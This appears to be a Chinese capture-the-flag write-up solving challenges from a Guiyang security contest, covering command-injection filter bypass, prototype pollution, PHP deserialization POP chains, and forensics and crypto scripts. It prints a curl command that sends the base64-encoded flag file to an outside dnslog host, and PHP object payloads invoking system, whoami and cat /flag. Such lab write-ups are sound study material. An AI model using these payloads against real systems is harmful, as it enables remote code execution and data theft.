writeup

贵阳大数据及网络安全精英对抗赛第一天部分wp

PING吗!

拦截的符号:

1
2
3
4
5
6
7
8
9
10
11
|;
$
;
|
-
(
)
反引号
||
}
{

直接ls发现可以执行

image-20230427103742262

nl flag.php读内容

image-20230427103758622

get flagimage-20230427103823566

小黑

image-20230427140912555

image-20230427140922971

flag{key=FFD8FFE0}

原型链污染

/set?token=proto&key=redis_set&val=curl http://base64 /flag.ll2858.dnslog.cn/

image-20230427164132868

PUT /bkup

image-20230427164142644

image-20230427164837506

base64解码

ZmxhZ3tLeVNjVXZLbkhXMnRSZ1lWbTU5V1N0ZDlKV2g5WHViOX0K

flag{KyScUvKnHW2tRgYVm59WStd9JWh9Xub9}

time

1
2
3
4
5
6
7
8
import os

flag = []
for i in range(0, 37):
time = int(os.path.getmtime(f"./change{i}.txt"))
flag.append(chr(int(str((int(time * (10 ** 9) % (2 ** 64 - 1) / (10 ** 9))))[-3:])))

print("".join(flag))

wordexcelppt

把word改成zip后缀解压,发现error.xml内容是base64加密之后的图片,写出脚本解密并写入图片。

获得一个二维码,扫描拿到flag

1
2
3
4
5
6
7
8
9
10
11
12
import base64

with open('./error.xml','rb') as f:
image_base64 = base64.b64decode(f.read())


print(type(image_base64))
# 解码图片
imgdata = image_base64
#将图片保存为文件
with open("temp.jpg",'wb') as f:
f.write(imgdata)

image-20230427124423532

扫描获得flag

线性代数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from sage.all import *

global p, alphabet
p = 71
alphabet = '=0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ$!?_{}<>'

Gp = GF(p)

C = [
[33 ,64 ,38 ,11 ,37 ,23 ,35 ,1 ,4 ,1 ,16]
[44 ,12 ,59 ,14 ,25 ,20 ,41 ,65 ,43 ,50 ,34]
[28 ,42 ,35 ,2 ,5 ,23 ,24 ,39 ,26 ,44 ,15]
[45 ,8 ,44 ,31 ,5 ,40 ,55 ,42 ,63 ,41 ,30]
[44 ,44 ,50 ,2 ,1 ,32 ,57 ,29 ,23 ,33 ,34]
[31 ,53 ,45 ,46 ,23 ,22 ,56 ,25 ,19 ,22 ,31]
[48 ,0 ,70 ,55 ,10 ,34 ,39 ,4 ,39 ,40 ,20]
[70 ,44 ,46 ,16 ,4 ,6 ,67 ,62 ,23 ,51 ,69]
[32 ,55 ,50 ,58 ,34 ,51 ,13 ,17 ,21 ,60 ,57]
[56 ,19 ,60 ,51 ,24 ,14 ,39 ,1 ,49 ,2 ,24]
[39 ,43 ,0 ,15 ,11 ,67 ,18 ,24 ,51 ,20 ,47]
]
M1 = [
[1 ,5 ,30 ,53 ,27 ,7 ,55 ,25 ,7 ,47 ,40]
[17 ,21 ,68 ,53 ,31 ,27 ,22 ,48 ,62 ,58 ,64]
[39 ,18 ,21 ,50 ,9 ,60 ,27 ,43 ,19 ,34 ,30]
[5 ,4 ,69 ,56 ,4 ,63 ,38 ,64 ,67 ,61 ,37]
[12 ,28 ,35 ,41 ,8 ,61 ,2 ,69 ,65 ,51 ,55]
[29 ,8 ,18 ,49 ,25 ,36 ,70 ,20 ,12 ,0 ,66]
[0 ,34 ,38 ,37 ,62 ,42 ,37 ,47 ,61 ,8 ,26]
[11 ,57 ,35 ,35 ,41 ,43 ,39 ,13 ,25 ,48 ,6]
[22 ,51 ,38 ,0 ,35 ,42 ,58 ,57 ,11 ,69 ,48]
[21 ,9 ,58 ,53 ,61 ,65 ,11 ,35 ,32 ,61 ,50]
[35 ,58 ,2 ,55 ,66 ,46 ,30 ,49 ,20 ,70 ,30]
]
M2 = [
[64 ,14 ,43 ,40 ,39 ,23 ,17 ,65 ,7 ,21 ,41]
[64 ,55 ,54 ,48 ,50 ,59 ,65 ,16 ,16 ,56 ,52]
[51 ,67 ,54 ,28 ,56 ,24 ,69 ,37 ,65 ,57 ,28]
[26 ,33 ,23 ,33 ,20 ,5 ,36 ,2 ,12 ,37 ,69]
[10 ,15 ,64 ,57 ,6 ,34 ,27 ,19 ,45 ,33 ,64]
[60 ,10 ,52 ,48 ,33 ,0 ,38 ,57 ,66 ,16 ,48]
[60 ,67 ,49 ,26 ,10 ,15 ,60 ,2 ,15 ,11 ,47]
[69 ,12 ,67 ,16 ,39 ,33 ,18 ,25 ,42 ,23 ,8]
[69 ,4 ,30 ,5 ,68 ,13 ,38 ,57 ,6 ,43 ,24]
[56 ,62 ,60 ,4 ,64 ,50 ,49 ,35 ,19 ,18 ,13]
[24 ,56 ,46 ,58 ,27 ,64 ,51 ,62 ,34 ,48 ,51]
]
M3 = [
[61 ,26 ,61 ,24 ,15 ,46 ,34 ,57 ,8 ,68 ,41]
[54 ,41 ,24 ,58 ,29 ,18 ,3 ,50 ,61 ,52 ,64]
[62 ,24 ,20 ,39 ,6 ,24 ,64 ,13 ,1 ,23 ,13]
[10 ,66 ,33 ,39 ,14 ,46 ,2 ,52 ,31 ,36 ,39]
[66 ,63 ,49 ,45 ,0 ,40 ,29 ,55 ,22 ,43 ,43]
[22 ,70 ,20 ,66 ,30 ,44 ,4 ,43 ,43 ,2 ,2]
[34 ,29 ,16 ,21 ,43 ,17 ,21 ,1 ,21 ,41 ,45]
[15 ,4 ,4 ,57 ,63 ,58 ,52 ,62 ,21 ,18 ,36]
[23 ,54 ,68 ,1 ,48 ,49 ,59 ,9 ,12 ,48 ,42]
[21 ,29 ,35 ,3 ,57 ,25 ,20 ,45 ,65 ,38 ,66]
[49 ,17 ,40 ,62 ,20 ,0 ,48 ,35 ,38 ,45 ,68]
]

C = Matrix(Gp, C)
M1 = Matrix(Gp, M1)
M2 = Matrix(Gp, M2)
M3 = Matrix(Gp, M3)

U = M2 * M1**(-1)

S2 = U**(-1) * M2 * U

R1 = S2**4 * M3**(-1)

A = U**(-1) * C - R1

print(A)


def unprepare(A):
msg = ''
for k in range(24):
i, j = 5*k // 11, 5*k % 11
msg += alphabet[int(A[i, j])]
return msg


print(unprepare(A))

pop

O:2:”TT”:2:{s:3:”key”;s:4:”test”;s:1:”c”;O:2:”JJ”:1:{s:3:”obj”;s:6:”assert”;}}’

这个payload会将序列化的对象转换为TT和JJ两个类的实例,其中JJ类的$obj属性设置为assert函数,从而达到任意代码执行的目的。

针对第二个漏洞,攻击者可以构造如下payload:

O:2:”TT”:2:{s:3:”key”;s:4:”test”;s:1:”c”;O:2:”JJ”:1:{s:3:”obj”;s:4:”evil”;}}’

这个payload会将序列化的对象转换为TT和JJ两个类的实例,其中JJ类的$obj属性设置为evil方法,攻击者可以在参数中传入任意代码。

针对第三个漏洞,攻击者可以构造如下payload:

O:2:”TT”:2:{s:3:”key”;s:4:”test”;s:1:”c”;O:2:”MM”:2:{s:4:”name”;s:7:”system”;s:1:”c”;s:6:”whoami”;}}’

这个payload会将序列化的对象转换为TT和MM两个类的实例,其中MM类的$name属性设置为assert函数,$c属性设置为system命令,攻击者可以执行任意系统命令。

最终payload:

O:2:”TT”:2:{s:3:”key”;O:2:”JJ”:1:{s:3:”obj”;O:2:”MM”:2:{s:4:”name”;s:6:”system”;s:1:”c”;s:9:”cat /flag”;}}s:1:111;N;}


writeup
http://example.com/2023/04/27/writeup/
作者
To1y5
发布于
2023年4月27日
许可协议